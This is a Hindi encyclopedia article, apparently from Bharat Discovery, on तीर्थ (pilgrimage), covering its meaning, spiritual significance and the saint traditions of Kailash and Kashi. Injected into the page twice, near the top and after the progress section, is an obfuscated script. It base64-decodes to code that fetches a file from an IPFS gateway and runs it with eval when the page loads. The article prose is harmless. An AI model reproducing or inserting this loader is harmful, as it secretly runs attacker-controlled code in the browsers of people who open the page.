तीर्थ

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
Disamb2.jpg तीर्थ एक बहुविकल्पी शब्द है अन्य अर्थों के लिए देखें:- तीर्थ (बहुविकल्पी)

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

तीर्थ (अंग्रेज़ी: Pilgrimage) संस्कृत शब्द है और इसका अर्थ है पाप से तारने, पार उतारने वाला। पुण्य पाप की भावना सभी धर्मों में हैं। इस भावना का, तीर्थ का अभिप्राय है पुण्य स्थान, अर्थात् जो अपने में पुनीत हो और अपने यहाँ आने वालों में भी पवित्रता का संचार कर सके। और ऐसा नहीं है कि भारतीय धर्मों में ही तीर्थ की मान्याता हो। बौद्ध, जैन और सिक्ख धर्मों के अलावा ईसाई, इस्लाम, पारसी, यहूदी, ताओ, शिंतो आदि धर्मों में भी तीर्थों की मान्यता है।

महत्व

तीर्थयात्रा को सभी धर्मों ने बहुत महत्त्व दिया है। यह अनायास नहीं है। इस महत्त्व की वजह यात्रा के बाहरी स्वरूप से हट कर रही है। वह वजह तीर्थयात्री में पवित्र भावों का संचार करने के अलावा और गहन है। ओशो के अनुसार कहीं भी जाकर एकांत में साधना करें तो बहुत कम संभावना है कि आपको आस पास किसी विशिष्ट चेतना की अनुभूति हो, लेकिन तीर्थ में करें तो बहुत ज़ोर से होगा। कभी- कभी तो यह उपस्थिति इतनी गहराई से अनुभव होती है। मालूम पड़ेगा स्वयं कम हैं और अपने भीतर तथा आस पास दूसरा कोई ज़्यादा है।

भावनायें

जब भी कोई भाव से तीर्थ पर जाता है तो महसूस करता है कि एक तीर्थ तो वह है जो बस्ती में दिखाई देता है, दर्शनीय स्थलों पर, नदी के घाटों पर, मंदिरों में या पूजा गृहों में। जहाँ कोई भी जाएगा सैलानी और घूमकर लौट आएगा। यह तीर्थ का मृण्मय रूप है और एक उसका चिन्मय रूप है, जहाँ वहीं पहुँच पाएगा, जो अंतरस्थ होगा, जो ध्यान में प्रवेश करेगा। जो ध्यान में भी बैठकर गया, भगवद्भाव से भर कर गया है, वह उस काशी से भी संपर्क साध पाता है, जिसे 'चिन्मय काशी' कहते हैं। तब इसी काशी के निर्जन घाट पर उनसे भी मिलन हो जाता है जिनसे मिलने की भी कल्पना नहीं हुई होगी।

परम्परायें
  • कैलास के बारे में प्रसिद्ध है कि वहाँ अलौकिक प्रवाह है। नियम रहा है कि बुद्ध की परंपरा के कम से कम पाँच सौ पहुँचे हुए बौद्ध भिक्षु वहाँ रहे, और जब भी एक उनमें से विदा होगा किसी और यात्रा पर, तो जब तक उस हैसियत का दूसरा भिक्षु न हो, तब तक वह विदा नहीं हो सकता। पाँच सौ की संख्या वहाँ पूरी रहेगी। उन पाँच सौ की मौजूदगी कैलास को तीर्थ बनाती है। लेकिन यह बुद्धि से समझने की बात नहीं है। भाव और ध्यान की गहराई से समझ में आने जैसी बात है।
  • काशी का भी नियमित आंकड़ा है कि उतने संत वहाँ रहेगें ही। उनमें कभी कमी नहीं होगी। कोई विदा हो रहा हो तो वह तब तक नहीं जा पाएगा, जब तक कि दूसरा वहाँ स्थापित न हो जाए। असली तीर्थ वहीं है। और उनसे जब मिलना होता है तो तीर्थ में प्रवेश करते हैं। पर उनके मिलन का कोई भौतिक स्थल भी चाहिए। आप उनको कहाँ खोजते फिरेंगे। उस अशरीरी घटना को आप न खोज सकेगें, इसलिए भौतिक स्थल चाहिए, जहाँ बैठकर ध्यान कर सकें और उस अंतर्जगत में प्रवेश कर सके, जहाँ संबंध सुनिश्चित है। विशेष तरह की व्यवस्थाएं की है। तीर्थ खड़े किए, मंदिर खड़े किए, मंत्र निर्मित किए, मूर्तियाँ बनायी, सबका आयोजन किया और सबका आयोजन एक सुनिश्चित प्रक्रिया है, जिसे हम 'कर्मकांड' कहते हैं, वह प्रक्रिया बोधपूर्वक पूरी की जानी चाहिए। जिनको भी 'कर्म कांड' कहते है, वह सब हमारे द्वारा पकड़ लिए गए ऊपरी कृत्य हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख


सुव्यवस्थित लेख